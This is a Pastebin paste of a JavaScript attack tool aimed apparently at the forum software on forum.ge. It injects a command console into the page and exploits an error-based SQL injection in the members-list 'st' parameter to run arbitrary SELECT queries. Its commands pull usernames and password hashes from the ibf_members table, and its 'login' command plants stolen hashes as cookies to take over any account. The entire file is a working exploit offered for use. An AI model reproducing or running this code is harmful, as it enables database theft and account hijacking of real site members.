Advertisement
Guest User

Untitled

a guest
Jul 7th, 2017
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function (window, document) {
  2.     class CommandLine {
  3.         constructor() {
  4.             this.commands = {};
  5.             this.executedCommands = [];
  6.             this.pos = -1;
  7.             this.user = 'anonymous';
  8.         }
  9.  
  10.         registerCommand(name, command) {
  11.             this.commands[name] = command;
  12.         }
  13.  
  14.         executeCommand(command) {
  15.             if (this.disabled) {
  16.                 if (this.view) {
  17.                     this.view.disabled = true;
  18.                 }
  19.                 return;
  20.             }
  21.             this.lock();
  22.             this.write('Executing command, please wait...', CommandLine.WAITING);
  23.             this.executedCommands.push(command);
  24.             this.pos = this.executedCommands.length;
  25.             let params = command.split(' ');
  26.             let cmd = params[0];
  27.             if (!(cmd in this.commands)) {
  28.                 this.writeLine("Unknown command: " + cmd + ".", CommandLine.ERROR);
  29.                 this.unlock();
  30.                 return;
  31.             }
  32.             params.splice(0, 1);
  33.             let rawArgs = params.join(' ');
  34.             let args = [];
  35.             for (let i = 0, q, p, l = rawArgs.length; i < l; ++i) {
  36.                 let char = rawArgs[i];
  37.                 let arg = '';
  38.                 if (char === '"' || char === "'") {
  39.                     let q = char;
  40.                     let b = false;
  41.                     char = rawArgs[++i] || '';
  42.                     while (i < l && (char !== q || b)) {
  43.                         if (b) {
  44.                             if (char !== q) {
  45.                                 arg += '\\';
  46.                             }
  47.                             b = false;
  48.                         } else if (char === '\\') {
  49.                             b = true;
  50.                         } else {
  51.                             arg += char;
  52.                         }
  53.                         char = rawArgs[++i] || '';
  54.                     }
  55.                     if (char !== q) {
  56.                         this.writeLine('Unterminated string literal.', CommandLine.ERROR);
  57.                         this.unlock();
  58.                         return;
  59.                     }
  60.                 } else {
  61.                     do {
  62.                         arg += char;
  63.                         char = rawArgs[++i] || '';
  64.                     } while (i < l && char !== ' ' && char !== "\n");
  65.                 }
  66.                 args.push(arg);
  67.             }
  68.             this.commands[cmd].execute.apply(this.commands[cmd], args);
  69.         }
  70.  
  71.         write(data, type = CommandLine.INFO, onNewLine = false) {
  72.             if (!this.view) {
  73.                 return;
  74.             }
  75.  
  76.             let color;
  77.             switch (type) {
  78.                 case CommandLine.ERROR:
  79.                     color = 'red';
  80.                     break;
  81.                 case CommandLine.WARNING:
  82.                     color = 'orange';
  83.                     break;
  84.                 case CommandLine.SUCCESS:
  85.                     color = 'cyan';
  86.                     break;
  87.                 case CommandLine.LOG:
  88.                 case CommandLine.WAITING:
  89.                     color = 'lightgray';
  90.                     break;
  91.                 default:
  92.                     color = 'green';
  93.                     break;
  94.             }
  95.  
  96.             if (data[0] === "\r") {
  97.                 this.clearLine();
  98.                 data = data.substr(1);
  99.             } else if (this.clearLastLine) {
  100.                 this.clearLine();
  101.             }
  102.             const line = document.createElement('span');
  103.             line.style.color = color;
  104.             line.innerHTML = data.replace(/\n/g, '<br>').replace(/\s/g, '&nbsp;') + (onNewLine ? '<br>' : '');
  105.             this.lastLine = !onNewLine ? line : null;
  106.             if (type === CommandLine.WAITING) {
  107.                 this.clearLastLine = true;
  108.             }
  109.             this.outputView.appendChild(line);
  110.             this.view.scrollTop = this.view.scrollHeight;
  111.         }
  112.  
  113.         writeLine(data, type = CommandLine.INFO) {
  114.             this.write(data, type, true);
  115.         }
  116.  
  117.         clearLine() {
  118.             if (this.lastLine) {
  119.                 this.outputView.removeChild(this.lastLine);
  120.             }
  121.         }
  122.  
  123.         createView() {
  124.             const self = this;
  125.             const consoleArea = document.createElement('div');
  126.             consoleArea.style.background = 'black';
  127.             consoleArea.style.color = 'green';
  128.             consoleArea.style.position = 'fixed';
  129.             consoleArea.style.left = 0;
  130.             consoleArea.style.bottom = 0;
  131.             consoleArea.style.zIndex = 9999999;
  132.             consoleArea.style.width = '100%';
  133.             consoleArea.style.height = '30%';
  134.             consoleArea.style.color = 'green';
  135.             consoleArea.style.textAlign = 'left';
  136.             consoleArea.style.overflowX = 'hidden';
  137.             consoleArea.style.overflowY = 'auto';
  138.             consoleArea.style.font = '100%/120% Verdana, Arial, Helvetica, sans-serif';
  139.             let pos = null;
  140.             consoleArea.onclick = function () {
  141.                 input.focus();
  142.                 input.selectionEnd = input.selectionStart = pos = pos !== null ? pos : input.value.length;
  143.             };
  144.             window.addEventListener('keyup', function () {
  145.                 pos = input.selectionStart;
  146.             }, true);
  147.             consoleArea.onkeydown = function (e) {
  148.                 switch (e.keyCode) {
  149.                     case 13:
  150.                         if (!e.shiftKey) {
  151.                             input.focus();
  152.                             if (pos !== null) {
  153.                                 input.selectionStart = pos;
  154.                             }
  155.                         }
  156.                         break;
  157.                     case 38:
  158.                         if (self.pos > 0) {
  159.                             input.value = self.user + ': ' + self.executedCommands[--self.pos];
  160.                             input.selectionStart = input.value.length;
  161.                         }
  162.                         e.preventDefault();
  163.                         break;
  164.                     case 40:
  165.                         if (self.pos < (self.executedCommands.length - 1)) {
  166.                             input.value = self.user + ': ' + self.executedCommands[++self.pos];
  167.                             input.selectionStart = input.value.length;
  168.                         }
  169.                         e.preventDefault();
  170.                         break;
  171.                     case 37:
  172.                         if (input.selectionStart > self.user.length + 2) {
  173.                             pos = input.selectionStart;
  174.                         } else {
  175.                             e.preventDefault();
  176.                         }
  177.                         break;
  178.                     case 39:
  179.                         if (input.selectionStart < input.value.length) {
  180.                             pos = input.selectionStart;
  181.                         } else {
  182.                             e.preventDefault();
  183.                         }
  184.                         break;
  185.                 }
  186.             };
  187.  
  188.             const outputArea = document.createElement('div');
  189.             outputArea.style.width = '100%';
  190.             outputArea.style.height = 'auto';
  191.             outputArea.style.mozAppearance = 'textfield-multiline';
  192.             outputArea.style.webkitAppearance = 'textarea';
  193.             outputArea.style.font = 'medium -moz-fixed';
  194.             outputArea.style.padding = '2px';
  195.             consoleArea.appendChild(outputArea);
  196.  
  197.             const input = document.createElement('textarea');
  198.             input.style.background = 'transparent';
  199.             input.style.border = 'none';
  200.             input.style.color = 'green';
  201.             input.style.width = '100%';
  202.             input.style.height = 'auto';
  203.             input.style.overflow = 'auto';
  204.             input.style.resize = 'none';
  205.             input.style.cursor = 'default';
  206.             input.style.font = 'medium -moz-fixed';
  207.             input.spellcheck = false;
  208.             input.value = this.user + ': ';
  209.             input.onmousedown = input.onclick = function (e) {
  210.                 e.preventDefault();
  211.             };
  212.             input.onkeydown = function (e) {
  213.                 if (e.keyCode === 13 && !e.shiftKey) {
  214.                     if (!self.disabled) {
  215.                         self.writeLine(this.value);
  216.                         let cmd = this.value.substr(self.user.length + 2);
  217.                         this.value = self.user + ': ';
  218.                         self.executeCommand(cmd);
  219.                     } else {
  220.                         this.disabled = true;
  221.                     }
  222.                     e.preventDefault();
  223.                 } else if (e.keyCode === 8 && this.value === self.user + ': ') {
  224.                     e.preventDefault();
  225.                 }
  226.             };
  227.             input.onkeyup = function () {
  228.                 this.style.height = this.scrollHeight + 'px';
  229.             };
  230.             consoleArea.appendChild(input);
  231.             this.view = consoleArea;
  232.             this.outputView = outputArea;
  233.             this.inputView = input;
  234.             return consoleArea;
  235.         }
  236.  
  237.         lock() {
  238.             if (this.view) {
  239.                 const v = this.view;
  240.                 v.disabled = true;
  241.             }
  242.             this.disabled = true;
  243.         }
  244.  
  245.         unlock() {
  246.             if (this.view) {
  247.                 const v = this.view;
  248.                 v.disabled = false;
  249.             }
  250.             this.disabled = false;
  251.         }
  252.  
  253.         static setCaretPosition(elem, caretPos) {
  254.             if (elem != null) {
  255.                 if (elem.createTextRange) {
  256.                     var range = elem.createTextRange();
  257.                     range.move('character', caretPos);
  258.                     range.select();
  259.                 }
  260.                 else {
  261.                     if (elem.selectionStart) {
  262.                         elem.focus();
  263.                         elem.setSelectionRange(caretPos, caretPos);
  264.                     } else {
  265.                         elem.focus();
  266.                     }
  267.                 }
  268.             }
  269.         }
  270.  
  271.         static getCaretPosition(input) {
  272.             if ("selectionStart" in input && document.activeElement == input) {
  273.                 return {
  274.                     start: input.selectionStart,
  275.                     end: input.selectionEnd
  276.                 };
  277.             }
  278.             else if (input.createTextRange) {
  279.                 var sel = document.selection.createRange();
  280.                 if (sel.parentElement() === input) {
  281.                     var rng = input.createTextRange();
  282.                     rng.moveToBookmark(sel.getBookmark());
  283.                     for (var len = 0;
  284.                          rng.compareEndPoints("EndToStart", rng) > 0;
  285.                          rng.moveEnd("character", -1)) {
  286.                         len++;
  287.                     }
  288.                     rng.setEndPoint("StartToStart", input.createTextRange());
  289.                     for (var pos = {start: 0, end: len};
  290.                          rng.compareEndPoints("EndToStart", rng) > 0;
  291.                          rng.moveEnd("character", -1)) {
  292.                         pos.start++;
  293.                         pos.end++;
  294.                     }
  295.                     return pos;
  296.                 }
  297.             }
  298.             return -1;
  299.         }
  300.     }
  301.     CommandLine.INFO = 0;
  302.     CommandLine.WARNING = 1;
  303.     CommandLine.ERROR = 2;
  304.     CommandLine.SUCCESS = 3;
  305.     CommandLine.WAITING = 4;
  306.     CommandLine.LOG = 5;
  307.  
  308.     class Query {
  309.         constructor(query) {
  310.             this.query = query;
  311.             this.resultListener = undefined;
  312.             this.errorListener = undefined;
  313.         }
  314.  
  315.         static getFieldDataById(table, field, id, offset, resultListener) {
  316.             return Query.getFieldData(table, field, 'WHERE id = ' + id, offset, resultListener);
  317.         }
  318.  
  319.         static getFieldData(table, field, query, offset, resultListener) {
  320.             const q = function (step) {
  321.                 let pos = (1 + ((step - 1) * 31));
  322.                 return 'SELECT SUBSTR(' + field + ', ' + pos + ', 31) FROM ' + table + ' ' + query + ' LIMIT ' + offset + ', 1';
  323.             };
  324.             const fetchData = function (data, step) {
  325.                 const query = new Query(q(step));
  326.                 query.onResult(function (query, result, rawResult) {
  327.                     data += result;
  328.                     if (rawResult.length < 31) {
  329.                         resultListener(data);
  330.                         return;
  331.                     }
  332.                     fetchData(data, ++step);
  333.                 });
  334.                 query.send();
  335.             };
  336.             fetchData('', 1);
  337.         }
  338.  
  339.         onResult(listener) {
  340.             this.resultListener = listener;
  341.             return this;
  342.         }
  343.  
  344.         onError(listener) {
  345.             this.errorListener = listener;
  346.             return this;
  347.         }
  348.  
  349.         send() {
  350.             const self = this;
  351.             const request = new Request('/?act=Members&st=' + encodeURIComponent('0,1 PROCEDURE analyse((select extractvalue(0x0a, concat(0x0a, (' + this.query + ')))), 1) -- end'));
  352.             if (this.resultListener) {
  353.                 request.onResponse(function (request, response) {
  354.                     let rawData = Query._extractQueryResult(response);
  355.                     let formattedData = Query._formatQueryResult(rawData);
  356.                     self.resultListener(self, formattedData, rawData)
  357.                 });
  358.             }
  359.             request.onError(this, this.errorListener);
  360.             request.send();
  361.         }
  362.  
  363.         static _formatQueryResult(result) {
  364.             let txt = document.createElement("textarea");
  365.             txt.innerHTML = result;
  366.             return txt.value;
  367.         }
  368.  
  369.         static _extractQueryResult(data) {
  370.             const search = `mySQL error: XPATH syntax error: '
  371. `;
  372.            const startFrom = data.indexOf(search) + search.length;
  373.            let extractedData = '';
  374.            for (let i = startFrom; data[i] !== "'"; ++i) {
  375.                extractedData += data[i];
  376.            }
  377.            return extractedData;
  378.        }
  379.    }
  380.  
  381.    class Request {
  382.        constructor(url, method = 'GET') {
  383.            this.url = url;
  384.            this.method = method;
  385.            this.headers = {};
  386.            this.data = undefined;
  387.            this.user = undefined;
  388.            this.password = undefined;
  389.            this.errorListener = undefined;
  390.            this.responseListener = undefined;
  391.        }
  392.  
  393.        setHeader(name, value) {
  394.            this.headers[name] = value;
  395.        }
  396.  
  397.        setData(data) {
  398.            this.data = data;
  399.        }
  400.  
  401.        setCredentials(user, password) {
  402.            this.user = user;
  403.            this.password = password;
  404.        }
  405.  
  406.        onError(listener) {
  407.            this.errorListener = listener;
  408.            return this;
  409.        }
  410.  
  411.        onResponse(listener) {
  412.            this.responseListener = listener;
  413.            return this;
  414.        }
  415.  
  416.        send() {
  417.            const self = this;
  418.            const request = new XMLHttpRequest;
  419.            request.open(this.method, this.url, true, this.user, this.password);
  420.            request.onreadystatechange = function () {
  421.                if (request.readyState === XMLHttpRequest.DONE) {
  422.                    if (request.status === 200) {
  423.                        if (self.responseListener) {
  424.                            self.responseListener(self, request.responseText);
  425.                        }
  426.                    } else if (self.errorListener) {
  427.                        self.errorListener(self, request.statusText);
  428.                    }
  429.                }
  430.            };
  431.            request.send(this.data);
  432.        }
  433.    }
  434.  
  435.    class Command {
  436.        constructor(commandLine) {
  437.            this.commandLine = commandLine;
  438.            this.subCommands = {};
  439.            this.summary = '';
  440.        }
  441.  
  442.        getSummary() {
  443.            return this.summary;
  444.        }
  445.  
  446.        setSummary(summary) {
  447.            this.summary = summary;
  448.            return this;
  449.        }
  450.  
  451.        getCommandLine() {
  452.            return this.commandLine;
  453.        }
  454.  
  455.        registerHelpCommand(name = 'help') {
  456.            const base = this;
  457.            const cml = this.getCommandLine();
  458.            this.registerSubCommand(name, new (class extends Command {
  459.                internalExecute() {
  460.                    let max = 0;
  461.                    for (let i in base.subCommands) {
  462.                        let summary;
  463.                        if (summary = base.subCommands[i].getSummary()) {
  464.                            if (max < i.length) {
  465.                                max = i.length;
  466.                            }
  467.                        }
  468.                    }
  469.                    for (let i in base.subCommands) {
  470.                        let summary;
  471.                        if (summary = base.subCommands[i].getSummary()) {
  472.                            let s = '';
  473.                            for (let j = 0, l = max - i.length; j < l; ++j) {
  474.                                s += ' ';
  475.                            }
  476.                            cml.writeLine('  ' + i + s + ' ' + summary);
  477.                        }
  478.                    }
  479.                    this.endExecute();
  480.                }
  481.            })(this.commandLine));
  482.        }
  483.  
  484.        registerSubCommand(name, command) {
  485.            if (command in this.subCommands) {
  486.                throw 'Sub-command with name ' + name + ' is already registered.';
  487.            }
  488.            this.subCommands[name] = command;
  489.        }
  490.  
  491.        executeSubCommand(name, args) {
  492.            if (!(name in this.subCommands)) {
  493.                throw 'Sub-command with name ' + name + ' does not exists.';
  494.            }
  495.            this.subCommands[name].execute.apply(this.subCommands[name], args || []);
  496.        }
  497.  
  498.        execute() {
  499.            let args = [].slice.apply(arguments);
  500.            if (args.length > 0) {
  501.                let sub = args[0];
  502.                if (sub in this.subCommands) {
  503.                    args.splice(0, 1);
  504.                    this.subCommands[sub].execute.apply(this.subCommands[sub], args);
  505.                } else {
  506.                    this.internalExecute.apply(this, args);
  507.                }
  508.            } else {
  509.                this.internalExecute();
  510.            }
  511.        }
  512.  
  513.        internalExecute() {
  514.  
  515.        }
  516.  
  517.        endExecute() {
  518.            this.commandLine.unlock();
  519.        }
  520.    }
  521.  
  522.    class QueryCommand extends Command {
  523.        constructor(commandLine) {
  524.            super(commandLine);
  525.            this.setSummary('The command is used to execute MySQL SELECT queries.');
  526.        }
  527.  
  528.        internalExecute(query) {
  529.            const self = this;
  530.            const cmd = this.getCommandLine();
  531.            const q = new Query(query);
  532.            q.onResult(function (query, result) {
  533.                cmd.writeLine(result, CommandLine.SUCCESS);
  534.                self.endExecute();
  535.  
  536.            });
  537.            q.onError(function (query, error) {
  538.                cmd.writeLine(error, CommandLine.ERROR);
  539.                self.endExecute();
  540.            });
  541.            q.send();
  542.        }
  543.    }
  544.  
  545.    class UserCommand extends Command {
  546.        constructor(commandLine) {
  547.            super(commandLine);
  548.            this.setSummary('The command is used to fetch user information.');
  549.  
  550.            const base = this;
  551.            const cml = this.getCommandLine();
  552.            this.registerHelpCommand();
  553.            this.registerSubCommand('username', new (class extends Command {
  554.                constructor(commandLine) {
  555.                    super(commandLine);
  556.                    this.setSummary('Fetches username using the specified user id.');
  557.                }
  558.  
  559.                internalExecute(id) {
  560.                    base._getUserFieldData('name', id);
  561.                }
  562.            })(commandLine));
  563.            this.registerSubCommand('password_hash', new (class extends Command {
  564.                constructor(commandLine) {
  565.                    super(commandLine);
  566.                    this.setSummary('Fetches password hash using the specified user id.');
  567.                }
  568.  
  569.                internalExecute(id) {
  570.                    base._getUserFieldData('password', id);
  571.                }
  572.            })(commandLine));
  573.            this.registerSubCommand('login', new (class extends Command {
  574.                constructor(commandLine) {
  575.                    super(commandLine);
  576.                    this.setSummary('Logs in user with the specified id.');
  577.                }
  578.  
  579.                internalExecute(id) {
  580.                    base._getUserFieldData('password', id, function (passwordHash) {
  581.                        base._getUserFieldData('name', id, function (username) {
  582.                            document.cookie = 'member_id=' + id + ';domain=.forum.ge';
  583.                            document.cookie = 'pass_hash=' + passwordHash + ';domain=.forum.ge';
  584.                            document.cookie = 'anonlogin=1;domain=.forum.ge';
  585.                            document.cookie = 'session_id=;expires=Thu, 01 Jan 1970 00:00:01 GMT;domain=.forum.ge';
  586.                            cml.writeLine('You are now logged in as ' + username + ', open a new tab to view website as the given user.', CommandLine.SUCCESS);
  587.                        });
  588.                    });
  589.                }
  590.            })(commandLine));
  591.        }
  592.  
  593.        internalExecute() {
  594.            this.executeSubCommand('help');
  595.        }
  596.  
  597.        _getUserFieldData(field, id, callback) {
  598.            const cml = this.getCommandLine();
  599.            if (id === undefined) {
  600.                cml.writeLine('User id is not specified.', CommandLine.ERROR);
  601.                this.endExecute();
  602.                return;
  603.            } else if (isNaN(id)) {
  604.                cml.writeLine('Invalid id specified', id, CommandLine.ERROR);
  605.                this.endExecute();
  606.                return;
  607.            }
  608.            const self = this;
  609.            Query.getFieldDataById('ibf_members', field, id, 0, function (res) {
  610.                if (callback) {
  611.                    callback.call(self, res);
  612.                } else {
  613.                    cml.writeLine(res);
  614.                }
  615.                self.endExecute();
  616.            });
  617.        }
  618.    }
  619.  
  620.    const cmd = new CommandLine();
  621.    cmd.registerCommand('query', new QueryCommand(cmd));
  622.    cmd.registerCommand('user', new UserCommand(cmd));
  623.    const cmdView = cmd.createView();
  624.    document.body.appendChild(cmdView);
  625.    cmdView.focus();
  626. })(window, document);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement